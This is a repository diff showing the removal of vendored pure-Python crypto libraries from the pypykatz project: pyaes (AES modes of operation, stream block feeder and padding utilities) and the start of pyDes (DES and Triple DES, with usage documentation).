266 result.append((self.Si[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF)
267 result.append((self.Si[(t[(i + s2) % 4] >> 8) & 0xFF] ^ (tt >> 8)) & 0xFF)
268 result.append((self.Si[ t[(i + s3) % 4] & 0xFF] ^ tt ) & 0xFF)
269
270 return result
271
272
273 class Counter(object):
274 '''A counter object for the Counter (CTR) mode of operation.
275
276 To create a custom counter, you can usually just override the
277 increment method.'''
278
279 def __init__(self, initial_value = 1):
280
281 # Convert the value into an array of bytes long
282 self._counter = [ ((initial_value >> i) % 256) for i in xrange(128 - 8, -1, -8) ]
283
284 value = property(lambda s: s._counter)
285
286 def increment(self):
287 '''Increment the counter (overflow rolls back to 0).'''
288
289 for i in xrange(len(self._counter) - 1, -1, -1):
290 self._counter[i] += 1
291
292 if self._counter[i] < 256: break
293
294 # Carry the one
295 self._counter[i] = 0
296
297 # Overflow
298 else:
299 self._counter = [ 0 ] * len(self._counter)
300
301
302 class AESBlockModeOfOperation(object):
303 '''Super-class for AES modes of operation that require blocks.'''
304 def __init__(self, key):
305 self._aes = AES(key)
306
307 def decrypt(self, ciphertext):
308 raise Exception('not implemented')
309
310 def encrypt(self, plaintext):
311 raise Exception('not implemented')
312
313
314 class AESStreamModeOfOperation(AESBlockModeOfOperation):
315 '''Super-class for AES modes of operation that are stream-ciphers.'''
316
317 class AESSegmentModeOfOperation(AESStreamModeOfOperation):
318 '''Super-class for AES modes of operation that segment data.'''
319
320 segment_bytes = 16
321
322
323
324 class AESModeOfOperationECB(AESBlockModeOfOperation):
325 '''AES Electronic Codebook Mode of Operation.
326
327 o Block-cipher, so data must be padded to 16 byte boundaries
328
329 Security Notes:
330 o This mode is not recommended
331 o Any two identical blocks produce identical encrypted values,
332 exposing data patterns. (See the image of Tux on wikipedia)
333
334 Also see:
335 o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Electronic_codebook_.28ECB.29
336 o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.1'''
337
338
339 name = "Electronic Codebook (ECB)"
340
341 def encrypt(self, plaintext):
342 if len(plaintext) != 16:
343 raise ValueError('plaintext block must be 16 bytes')
344
345 plaintext = _string_to_bytes(plaintext)
346 return _bytes_to_string(self._aes.encrypt(plaintext))
347
348 def decrypt(self, ciphertext):
349 if len(ciphertext) != 16:
350 raise ValueError('ciphertext block must be 16 bytes')
351
352 ciphertext = _string_to_bytes(ciphertext)
353 return _bytes_to_string(self._aes.decrypt(ciphertext))
354
355
356
357 class AESModeOfOperationCBC(AESBlockModeOfOperation):
358 '''AES Cipher-Block Chaining Mode of Operation.
359
360 o The Initialization Vector (IV)
361 o Block-cipher, so data must be padded to 16 byte boundaries
362 o An incorrect initialization vector will only cause the first
363 block to be corrupt; all other blocks will be intact
364 o A corrupt bit in the cipher text will cause a block to be
365 corrupted, and the next block to be inverted, but all other
366 blocks will be intact.
367
368 Security Notes:
369 o This method (and CTR) ARE recommended.
370
371 Also see:
372 o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher-block_chaining_.28CBC.29
373 o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.2'''
374
375
376 name = "Cipher-Block Chaining (CBC)"
377
378 def __init__(self, key, iv = None):
379 if iv is None:
380 self._last_cipherblock = [ 0 ] * 16
381 elif len(iv) != 16:
382 raise ValueError('initialization vector must be 16 bytes')
383 else:
384 self._last_cipherblock = _string_to_bytes(iv)
385
386 AESBlockModeOfOperation.__init__(self, key)
387
388 def encrypt(self, plaintext):
389 if len(plaintext) != 16:
390 raise ValueError('plaintext block must be 16 bytes')
391
392 plaintext = _string_to_bytes(plaintext)
393 precipherblock = [ (p ^ l) for (p, l) in zip(plaintext, self._last_cipherblock) ]
394 self._last_cipherblock = self._aes.encrypt(precipherblock)
395
396 return _bytes_to_string(self._last_cipherblock)
397
398 def decrypt(self, ciphertext):
399 if len(ciphertext) != 16:
400 raise ValueError('ciphertext block must be 16 bytes')
401
402 cipherblock = _string_to_bytes(ciphertext)
403 plaintext = [ (p ^ l) for (p, l) in zip(self._aes.decrypt(cipherblock), self._last_cipherblock) ]
404 self._last_cipherblock = cipherblock
405
406 return _bytes_to_string(plaintext)
407
408
409
410 class AESModeOfOperationCFB(AESSegmentModeOfOperation):
411 '''AES Cipher Feedback Mode of Operation.
412
413 o A stream-cipher, so input does not need to be padded to blocks,
414 but does need to be padded to segment_size
415
416 Also see:
417 o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher_feedback_.28CFB.29
418 o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.3'''
419
420
421 name = "Cipher Feedback (CFB)"
422
423 def __init__(self, key, iv, segment_size = 1):
424 if segment_size == 0: segment_size = 1
425
426 if iv is None:
427 self._shift_register = [ 0 ] * 16
428 elif len(iv) != 16:
429 raise ValueError('initialization vector must be 16 bytes')
430 else:
431 self._shift_register = _string_to_bytes(iv)
432
433 self._segment_bytes = segment_size
434
435 AESBlockModeOfOperation.__init__(self, key)
436
437 segment_bytes = property(lambda s: s._segment_bytes)
438
439 def encrypt(self, plaintext):
440 if len(plaintext) % self._segment_bytes != 0:
441 raise ValueError('plaintext block must be a multiple of segment_size')
442
443 plaintext = _string_to_bytes(plaintext)
444
445 # Break block into segments
446 encrypted = [ ]
447 for i in xrange(0, len(plaintext), self._segment_bytes):
448 plaintext_segment = plaintext[i: i + self._segment_bytes]
449 xor_segment = self._aes.encrypt(self._shift_register)[:len(plaintext_segment)]
450 cipher_segment = [ (p ^ x) for (p, x) in zip(plaintext_segment, xor_segment) ]
451
452 # Shift the top bits out and the ciphertext in
453 self._shift_register = _concat_list(self._shift_register[len(cipher_segment):], cipher_segment)
454
455 encrypted.extend(cipher_segment)
456
457 return _bytes_to_string(encrypted)
458
459 def decrypt(self, ciphertext):
460 if len(ciphertext) % self._segment_bytes != 0:
461 raise ValueError('ciphertext block must be a multiple of segment_size')
462
463 ciphertext = _string_to_bytes(ciphertext)
464
465 # Break block into segments
466 decrypted = [ ]
467 for i in xrange(0, len(ciphertext), self._segment_bytes):
468 cipher_segment = ciphertext[i: i + self._segment_bytes]
469 xor_segment = self._aes.encrypt(self._shift_register)[:len(cipher_segment)]
470 plaintext_segment = [ (p ^ x) for (p, x) in zip(cipher_segment, xor_segment) ]
471
472 # Shift the top bits out and the ciphertext in
473 self._shift_register = _concat_list(self._shift_register[len(cipher_segment):], cipher_segment)
474
475 decrypted.extend(plaintext_segment)
476
477 return _bytes_to_string(decrypted)
478
479
480
481 class AESModeOfOperationOFB(AESStreamModeOfOperation):
482 '''AES Output Feedback Mode of Operation.
483
484 o A stream-cipher, so input does not need to be padded to blocks,
485 allowing arbitrary length data.
486 o A bit twiddled in the cipher text, twiddles the same bit in the
487 same bit in the plain text, which can be useful for error
488 correction techniques.
489
490 Also see:
491 o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Output_feedback_.28OFB.29
492 o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.4'''
493
494
495 name = "Output Feedback (OFB)"
496
497 def __init__(self, key, iv = None):
498 if iv is None:
499 self._last_precipherblock = [ 0 ] * 16
500 elif len(iv) != 16:
501 raise ValueError('initialization vector must be 16 bytes')
502 else:
503 self._last_precipherblock = _string_to_bytes(iv)
504
505 self._remaining_block = [ ]
506
507 AESBlockModeOfOperation.__init__(self, key)
508
509 def encrypt(self, plaintext):
510 encrypted = [ ]
511 for p in _string_to_bytes(plaintext):
512 if len(self._remaining_block) == 0:
513 self._remaining_block = self._aes.encrypt(self._last_precipherblock)
514 self._last_precipherblock = [ ]
515 precipherbyte = self._remaining_block.pop(0)
516 self._last_precipherblock.append(precipherbyte)
517 cipherbyte = p ^ precipherbyte
518 encrypted.append(cipherbyte)
519
520 return _bytes_to_string(encrypted)
521
522 def decrypt(self, ciphertext):
523 # AES-OFB is symetric
524 return self.encrypt(ciphertext)
525
526
527
528 class AESModeOfOperationCTR(AESStreamModeOfOperation):
529 '''AES Counter Mode of Operation.
530
531 o A stream-cipher, so input does not need to be padded to blocks,
532 allowing arbitrary length data.
533 o The counter must be the same size as the key size (ie. len(key))
534 o Each block independant of the other, so a corrupt byte will not
535 damage future blocks.
536 o Each block has a uniue counter value associated with it, which
537 contributes to the encrypted value, so no data patterns are
538 leaked.
539 o Also known as: Counter Mode (CM), Integer Counter Mode (ICM) and
540 Segmented Integer Counter (SIC
541
542 Security Notes:
543 o This method (and CBC) ARE recommended.
544 o Each message block is associated with a counter value which must be
545 unique for ALL messages with the same key. Otherwise security may be
546 compromised.
547
548 Also see:
549
550 o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Counter_.28CTR.29
551 o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.5
552 and Appendix B for managing the initial counter'''
553
554
555 name = "Counter (CTR)"
556
557 def __init__(self, key, counter = None):
558 AESBlockModeOfOperation.__init__(self, key)
559
560 if counter is None:
561 counter = Counter()
562
563 self._counter = counter
564 self._remaining_counter = [ ]
565
566 def encrypt(self, plaintext):
567 while len(self._remaining_counter) < len(plaintext):
568 self._remaining_counter += self._aes.encrypt(self._counter.value)
569 self._counter.increment()
570
571 plaintext = _string_to_bytes(plaintext)
572
573 encrypted = [ (p ^ c) for (p, c) in zip(plaintext, self._remaining_counter) ]
574 self._remaining_counter = self._remaining_counter[len(encrypted):]
575
576 return _bytes_to_string(encrypted)
577
578 def decrypt(self, crypttext):
579 # AES-CTR is symetric
580 return self.encrypt(crypttext)
581
582
583 # Simple lookup table for each mode
584 AESModesOfOperation = dict(
585 ctr = AESModeOfOperationCTR,
586 cbc = AESModeOfOperationCBC,
587 cfb = AESModeOfOperationCFB,
588 ecb = AESModeOfOperationECB,
589 ofb = AESModeOfOperationOFB,
590 )
+0
-54
pypykatz/crypto/aes/__init__.py less more
0 #https://raw.githubusercontent.com/ricmoo/pyaes/master/pyaes/__init__.py
1 # The MIT License (MIT)
2 #
3 # Copyright (c) 2014 Richard Moore
4 #
5 # Permission is hereby granted, free of charge, to any person obtaining a copy
6 # of this software and associated documentation files (the "Software"), to deal
7 # in the Software without restriction, including without limitation the rights
8 # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 # copies of the Software, and to permit persons to whom the Software is
10 # furnished to do so, subject to the following conditions:
11 #
12 # The above copyright notice and this permission notice shall be included in
13 # all copies or substantial portions of the Software.
14 #
15 # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
21 # THE SOFTWARE.
22
23 # This is a pure-Python implementation of the AES algorithm and AES common
24 # modes of operation.
25
26 # See: https://en.wikipedia.org/wiki/Advanced_Encryption_Standard
27 # See: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation
28
29
30 # Supported key sizes:
31 # 128-bit
32 # 192-bit
33 # 256-bit
34
35
36 # Supported modes of operation:
37 # ECB - Electronic Codebook
38 # CBC - Cipher-Block Chaining
39 # CFB - Cipher Feedback
40 # OFB - Output Feedback
41 # CTR - Counter
42
43 # See the README.md for API details and general information.
44
45 # Also useful, PyCrypto, a crypto library implemented in C with Python bindings:
46 # https://www.dlitz.net/software/pycrypto/
47
48
49 VERSION = [1, 3, 0]
50
51 from .AES import AES, AESModeOfOperationCTR, AESModeOfOperationCBC, AESModeOfOperationCFB, AESModeOfOperationECB, AESModeOfOperationOFB, AESModesOfOperation, Counter
52 from .blockfeeder import decrypt_stream, Decrypter, encrypt_stream, Encrypter
53 from .blockfeeder import PADDING_NONE, PADDING_DEFAULT
+0
-229
pypykatz/crypto/aes/blockfeeder.py less more
0
1 #https://github.com/ricmoo/pyaes/blob/master/pyaes/blockfeeder.py
2 # The MIT License (MIT)
3 #
4 # Copyright (c) 2014 Richard Moore
5 #
6 # Permission is hereby granted, free of charge, to any person obtaining a copy
7 # of this software and associated documentation files (the "Software"), to deal
8 # in the Software without restriction, including without limitation the rights
9 # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
10 # copies of the Software, and to permit persons to whom the Software is
11 # furnished to do so, subject to the following conditions:
12 #
13 # The above copyright notice and this permission notice shall be included in
14 # all copies or substantial portions of the Software.
15 #
16 # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
17 # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
18 # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
19 # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
20 # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
21 # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
22 # THE SOFTWARE.
23
24
25 from .AES import AESBlockModeOfOperation, AESSegmentModeOfOperation, AESStreamModeOfOperation
26 from .util import append_PKCS7_padding, strip_PKCS7_padding, to_bufferable
27
28
29 # First we inject three functions to each of the modes of operations
30 #
31 # _can_consume(size)
32 # - Given a size, determine how many bytes could be consumed in
33 # a single call to either the decrypt or encrypt method
34 #
35 # _final_encrypt(data, padding = PADDING_DEFAULT)
36 # - call and return encrypt on this (last) chunk of data,
37 # padding as necessary; this will always be at least 16
38 # bytes unless the total incoming input was less than 16
39 # bytes
40 #
41 # _final_decrypt(data, padding = PADDING_DEFAULT)
42 # - same as _final_encrypt except for decrypt, for
43 # stripping off padding
44 #
45
46 PADDING_NONE = 'none'
47 PADDING_DEFAULT = 'default'
48
49 # @TODO: Ciphertext stealing and explicit PKCS#7
50 # PADDING_CIPHERTEXT_STEALING
51 # PADDING_PKCS7
52
53 # ECB and CBC are block-only ciphers
54
55 def _block_can_consume(self, size):
56 if size >= 16: return 16
57 return 0
58
59 # After padding, we may have more than one block
60 def _block_final_encrypt(self, data, padding = PADDING_DEFAULT):
61 if padding == PADDING_DEFAULT:
62 data = append_PKCS7_padding(data)
63
64 elif padding == PADDING_NONE:
65 if len(data) != 16:
66 raise Exception('invalid data length for final block')
67 else:
68 raise Exception('invalid padding option')
69
70 if len(data) == 32:
71 return self.encrypt(data[:16]) + self.encrypt(data[16:])
72
73 return self.encrypt(data)
74
75
76 def _block_final_decrypt(self, data, padding = PADDING_DEFAULT):
77 if padding == PADDING_DEFAULT:
78 return strip_PKCS7_padding(self.decrypt(data))
79
80 if padding == PADDING_NONE:
81 if len(data) != 16:
82 raise Exception('invalid data length for final block')
83 return self.decrypt(data)
84
85 raise Exception('invalid padding option')
86
87 AESBlockModeOfOperation._can_consume = _block_can_consume
88 AESBlockModeOfOperation._final_encrypt = _block_final_encrypt
89 AESBlockModeOfOperation._final_decrypt = _block_final_decrypt
90
91
92
93 # CFB is a segment cipher
94
95 def _segment_can_consume(self, size):
96 return self.segment_bytes * int(size // self.segment_bytes)
97
98 # CFB can handle a non-segment-sized block at the end using the remaining cipherblock
99 def _segment_final_encrypt(self, data, padding = PADDING_DEFAULT):
100 if padding != PADDING_DEFAULT:
101 raise Exception('invalid padding option')
102
103 faux_padding = (chr(0) * (self.segment_bytes - (len(data) % self.segment_bytes)))
104 padded = data + to_bufferable(faux_padding)
105 return self.encrypt(padded)[:len(data)]
106
107 # CFB can handle a non-segment-sized block at the end using the remaining cipherblock
108 def _segment_final_decrypt(self, data, padding = PADDING_DEFAULT):
109 if padding != PADDING_DEFAULT:
110 raise Exception('invalid padding option')
111
112 faux_padding = (chr(0) * (self.segment_bytes - (len(data) % self.segment_bytes)))
113 padded = data + to_bufferable(faux_padding)
114 return self.decrypt(padded)[:len(data)]
115
116 AESSegmentModeOfOperation._can_consume = _segment_can_consume
117 AESSegmentModeOfOperation._final_encrypt = _segment_final_encrypt
118 AESSegmentModeOfOperation._final_decrypt = _segment_final_decrypt
119
120
121
122 # OFB and CTR are stream ciphers
123
124 def _stream_can_consume(self, size):
125 return size
126
127 def _stream_final_encrypt(self, data, padding = PADDING_DEFAULT):
128 if padding not in [PADDING_NONE, PADDING_DEFAULT]:
129 raise Exception('invalid padding option')
130
131 return self.encrypt(data)
132
133 def _stream_final_decrypt(self, data, padding = PADDING_DEFAULT):
134 if padding not in [PADDING_NONE, PADDING_DEFAULT]:
135 raise Exception('invalid padding option')
136
137 return self.decrypt(data)
138
139 AESStreamModeOfOperation._can_consume = _stream_can_consume
140 AESStreamModeOfOperation._final_encrypt = _stream_final_encrypt
141 AESStreamModeOfOperation._final_decrypt = _stream_final_decrypt
142
143
144
145 class BlockFeeder(object):
146 '''The super-class for objects to handle chunking a stream of bytes
147 into the appropriate block size for the underlying mode of operation
148 and applying (or stripping) padding, as necessary.'''
149
150 def __init__(self, mode, feed, final, padding = PADDING_DEFAULT):
151 self._mode = mode
152 self._feed = feed
153 self._final = final
154 self._buffer = to_bufferable("")
155 self._padding = padding
156
157 def feed(self, data = None):
158 '''Provide bytes to encrypt (or decrypt), returning any bytes
159 possible from this or any previous calls to feed.
160
161 Call with None or an empty string to flush the mode of
162 operation and return any final bytes; no further calls to
163 feed may be made.'''
164
165 if self._buffer is None:
166 raise ValueError('already finished feeder')
167
168 # Finalize; process the spare bytes we were keeping
169 if data is None:
170 result = self._final(self._buffer, self._padding)
171 self._buffer = None
172 return result
173
174 self._buffer += to_bufferable(data)
175
176 # We keep 16 bytes around so we can determine padding
177 result = to_bufferable('')
178 while len(self._buffer) > 16:
179 can_consume = self._mode._can_consume(len(self._buffer) - 16)
180 if can_consume == 0: break
181 result += self._feed(self._buffer[:can_consume])
182 self._buffer = self._buffer[can_consume:]
183
184 return result
185
186
187 class Encrypter(BlockFeeder):
188 'Accepts bytes of plaintext and returns encrypted ciphertext.'
189
190 def __init__(self, mode, padding = PADDING_DEFAULT):
191 BlockFeeder.__init__(self, mode, mode.encrypt, mode._final_encrypt, padding)
192
193
194 class Decrypter(BlockFeeder):
195 'Accepts bytes of ciphertext and returns decrypted plaintext.'
196
197 def __init__(self, mode, padding = PADDING_DEFAULT):
198 BlockFeeder.__init__(self, mode, mode.decrypt, mode._final_decrypt, padding)
199
200
201 # 8kb blocks
202 BLOCK_SIZE = (1 << 13)
203
204 def _feed_stream(feeder, in_stream, out_stream, block_size = BLOCK_SIZE):
205 'Uses feeder to read and convert from in_stream and write to out_stream.'
206
207 while True:
208 chunk = in_stream.read(block_size)
209 if not chunk:
210 break
211 converted = feeder.feed(chunk)
212 out_stream.write(converted)
213 converted = feeder.feed()
214 out_stream.write(converted)
215
216
217 def encrypt_stream(mode, in_stream, out_stream, block_size = BLOCK_SIZE, padding = PADDING_DEFAULT):
218 'Encrypts a stream of bytes from in_stream to out_stream using mode.'
219
220 encrypter = Encrypter(mode, padding = padding)
221 _feed_stream(encrypter, in_stream, out_stream, block_size)
222
223
224 def decrypt_stream(mode, in_stream, out_stream, block_size = BLOCK_SIZE, padding = PADDING_DEFAULT):
225 'Decrypts a stream of bytes from in_stream to out_stream using mode.'
226
227 decrypter = Decrypter(mode, padding = padding)
228 _feed_stream(decrypter, in_stream, out_stream, block_size)
+0
-62
pypykatz/crypto/aes/util.py less more
0
1 #https://github.com/ricmoo/pyaes/blob/master/pyaes/util.py
2 # The MIT License (MIT)
3 #
4 # Copyright (c) 2014 Richard Moore
5 #
6 # Permission is hereby granted, free of charge, to any person obtaining a copy
7 # of this software and associated documentation files (the "Software"), to deal
8 # in the Software without restriction, including without limitation the rights
9 # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
10 # copies of the Software, and to permit persons to whom the Software is
11 # furnished to do so, subject to the following conditions:
12 #
13 # The above copyright notice and this permission notice shall be included in
14 # all copies or substantial portions of the Software.
15 #
16 # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
17 # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
18 # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
19 # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
20 # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
21 # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
22 # THE SOFTWARE.
23
24 # Why to_bufferable?
25 # Python 3 is very different from Python 2.x when it comes to strings of text
26 # and strings of bytes; in Python 3, strings of bytes do not exist, instead to
27 # represent arbitrary binary data, we must use the "bytes" object. This method
28 # ensures the object behaves as we need it to.
29
30 def to_bufferable(binary):
31 return binary
32
33 def _get_byte(c):
34 return ord(c)
35
36 try:
37 xrange
38 except:
39
40 def to_bufferable(binary):
41 if isinstance(binary, bytes):
42 return binary
43 return bytes(ord(b) for b in binary)
44
45 def _get_byte(c):
46 return c
47
48 def append_PKCS7_padding(data):
49 pad = 16 - (len(data) % 16)
50 return data + to_bufferable(chr(pad) * pad)
51
52 def strip_PKCS7_padding(data):
53 if len(data) % 16 != 0:
54 raise ValueError("invalid length")
55
56 pad = _get_byte(data[-1])
57
58 if pad > 16:
59 raise ValueError("invalid padding byte")
60
61 return data[:-pad]
+0
-874
pypykatz/crypto/des.py less more
0 #############################################################################
1 # Documentation #
2 #############################################################################
3
4 # Author: Todd Whiteman
5 # Date: 28th April, 2010
6 # Version: 2.0.1
7 # License: MIT
8 # Homepage: http://twhiteman.netfirms.com/des.html
9 #
10 # This is a pure python implementation of the DES encryption algorithm.
11 # It's pure python to avoid portability issues, since most DES
12 # implementations are programmed in C (for performance reasons).
13 #
14 # Triple DES class is also implemented, utilizing the DES base. Triple DES
15 # is either DES-EDE3 with a 24 byte key, or DES-EDE2 with a 16 byte key.
16 #
17 # See the README.txt that should come with this python module for the
18 # implementation methods used.
19 #
20 # Thanks to:
21 # * David Broadwell for ideas, comments and suggestions.
22 # * Mario Wolff for pointing out and debugging some triple des CBC errors.
23 # * Santiago Palladino for providing the PKCS5 padding technique.
24 # * Shaya for correcting the PAD_PKCS5 triple des CBC errors.
25 #
26 """A pure python implementation of the DES and TRIPLE DES encryption algorithms.
27
28 Class initialization
29 --------------------
30 pyDes.des(key, [mode], [IV], [pad], [padmode])
31 pyDes.triple_des(key, [mode], [IV], [pad], [padmode])
32
33 key -> Bytes containing the encryption key. 8 bytes for DES, 16 or 24 bytes
34 for Triple DES
35 mode -> Optional argument for encryption type, can be either
36 pyDes.ECB (Electronic Code Book) or pyDes.CBC (Cypher Block Chaining)
37 IV -> Optional Initial Value bytes, must be supplied if using CBC mode.
38 Length must be 8 bytes.
39 pad -> Optional argument, set the pad character (PAD_NORMAL) to use during
40 all encrypt/decrypt operations done with this instance.
41 padmode -> Optional argument, set the padding mode (PAD_NORMAL or PAD_PKCS5)
42 to use during all encrypt/decrypt operations done with this instance.
43
44 I recommend to use PAD_PKCS5 padding, as then you never need to worry about any
45 padding issues, as the padding can be removed unambiguously upon decrypting
46 data that was encrypted using PAD_PKCS5 padmode.
47
48 Common methods
49 --------------
50 encrypt(data, [pad], [padmode])
51 decrypt(data, [pad], [padmode])
52
53 data -> Bytes to be encrypted/decrypted
54 pad -> Optional argument. Only when using padmode of PAD_NORMAL. For
55 encryption, adds this characters to the end of the data block when
56 data is not a multiple of 8 bytes. For decryption, will remove the
57 trailing characters that match this pad character from the last 8
58 bytes of the unencrypted data block.
59 padmode -> Optional argument, set the padding mode, must be one of PAD_NORMAL
60 or PAD_PKCS5). Defaults to PAD_NORMAL.
61
62
63 Example
64 -------
65 from pyDes import *
66
67 data = "Please encrypt my data"
68 k = des("DESCRYPT", CBC, "\0\0\0\0\0\0\0\0", pad=None, padmode=PAD_PKCS5)
69 # For Python3, you'll need to use bytes, i.e.:
70 # data = b"Please encrypt my data"
71 # k = des(b"DESCRYPT", CBC, b"\0\0\0\0\0\0\0\0", pad=None, padmode=PAD_PKCS5)
72 d = k.encrypt(data)
73 print "Encrypted: %r" % d
74 print "Decrypted: %r" % k.decrypt(d)
75 assert k.decrypt(d, padmode=PAD_PKCS5) == data
76
77
78 See the module source (pyDes.py) for more examples of use.
79 You can also run the pyDes.py file without and arguments to see a simple test.
80
81 Note: This code was not written for high-end systems needing a fast
82 implementation, but rather a handy portable solution with small usage.
83
84 """
85
86 import sys
87
88 # _pythonMajorVersion is used to handle Python2 and Python3 differences.
89 _pythonMajorVersion = sys.version_info[0]
90
91 # Modes of crypting / cyphering
92 ECB = 0
93 CBC = 1
94
95 # Modes of padding
96 PAD_NORMAL = 1
97 PAD_PKCS5 = 2
98
99 # PAD_PKCS5: is a method that will unambiguously remove all padding
100 # characters after decryption, when originally encrypted with
101 # this padding mode.
102 # For a good description of the PKCS5 padding technique, see:
103 # http://www.faqs.org/rfcs/rfc1423.html
104
105 # The base class shared by des and triple des.
106 class _baseDes(object):
107 def __init__(self, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL):
108 if IV:
109 IV = self._guardAgainstUnicode(IV)
110 if pad:
111 pad = self._guardAgainstUnicode(pad)
112 self.block_size = 8
113 # Sanity checking of arguments.
114 if pad and padmode == PAD_PKCS5:
115 raise ValueError("Cannot use a pad character with PAD_PKCS5")
116 if IV and len(IV) != self.block_size:
117 raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes")
118
119 # Set the passed in variables
120 self._mode = mode
121 self._iv = IV
122 self._padding = pad
123 self._padmode = padmode
124
125 def getKey(self):
126 """getKey() -> bytes"""
127 return self.__key
128
129 def setKey(self, key):
130 """Will set the crypting key for this object."""
131 key = self._guardAgainstUnicode(key)
132 self.__key = key
133
134 def getMode(self):
135 """getMode() -> pyDes.ECB or pyDes.CBC"""
136 return self._mode
137
138 def setMode(self, mode):
139 """Sets the type of crypting mode, pyDes.ECB or pyDes.CBC"""
140 self._mode = mode
141
142 def getPadding(self):
143 """getPadding() -> bytes of length 1. Padding character."""
144 return self._padding
145
146 def setPadding(self, pad):
147 """setPadding() -> bytes of length 1. Padding character."""
148 if pad is not None:
149 pad = self._guardAgainstUnicode(pad)
150 self._padding = pad
151
152 def getPadMode(self):
153 """getPadMode() -> pyDes.PAD_NORMAL or pyDes.PAD_PKCS5"""
154 return self._padmode
155
156 def setPadMode(self, mode):
157 """Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5"""
158 self._padmode = mode
159
160 def getIV(self):
161 """getIV() -> bytes"""
162 return self._iv
163
164 def setIV(self, IV):
165 """Will set the Initial Value, used in conjunction with CBC mode"""
166 if not IV or len(IV) != self.block_size:
167 raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes")
168 IV = self._guardAgainstUnicode(IV)
169 self._iv = IV
170
171 def _padData(self, data, pad, padmode):
172 # Pad data depending on the mode
173 if padmode is None:
174 # Get the default padding mode.
175 padmode = self.getPadMode()
176 if pad and padmode == PAD_PKCS5:
177 raise ValueError("Cannot use a pad character with PAD_PKCS5")
178
179 if padmode == PAD_NORMAL:
180 if len(data) % self.block_size == 0:
181 # No padding required.
182 return data
183
184 if not pad:
185 # Get the default padding.
186 pad = self.getPadding()
187 if not pad:
188 raise ValueError("Data must be a multiple of " + str(self.block_size) + " bytes in length. Use padmode=PAD_PKCS5 or set the pad character.")
189 data += (self.block_size - (len(data) % self.block_size)) * pad
190
191 elif padmode == PAD_PKCS5:
192 pad_len = 8 - (len(data) % self.block_size)
193 if _pythonMajorVersion < 3:
194 data += pad_len * chr(pad_len)
195 else:
196 data += bytes([pad_len] * pad_len)
197
198 return data
199
200 def _unpadData(self, data, pad, padmode):
201 # Unpad data depending on the mode.
202 if not data:
203 return data
204 if pad and padmode == PAD_PKCS5:
205 raise ValueError("Cannot use a pad character with PAD_PKCS5")
206 if padmode is None:
207 # Get the default padding mode.
208 padmode = self.getPadMode()
209
210 if padmode == PAD_NORMAL:
211 if not pad:
212 # Get the default padding.
213 pad = self.getPadding()
214 if pad:
215 data = data[:-self.block_size] + \
216 data[-self.block_size:].rstrip(pad)
217
218 elif padmode == PAD_PKCS5:
219 if _pythonMajorVersion < 3:
220 pad_len = ord(data[-1])
221 else:
222 pad_len = data[-1]
223 data = data[:-pad_len]
224
225 return data
226
227 def _guardAgainstUnicode(self, data):
228 # Only accept byte strings or ascii unicode values, otherwise
229 # there is no way to correctly decode the data into bytes.
230 if _pythonMajorVersion < 3:
231 if isinstance(data, unicode):
232 raise ValueError("pyDes can only work with bytes, not Unicode strings.")
233 else:
234 if isinstance(data, str):
235 # Only accept ascii unicode values.
236 try:
237 return data.encode('ascii')
238 except UnicodeEncodeError:
239 pass
240 raise ValueError("pyDes can only work with encoded strings, not Unicode.")
241 return data
242
243 #############################################################################
244 # DES #
245 #############################################################################
246 class des(_baseDes):
247 """DES encryption/decrytpion class
248
249 Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes.
250
251 pyDes.des(key,[mode], [IV])
252
253 key -> Bytes containing the encryption key, must be exactly 8 bytes
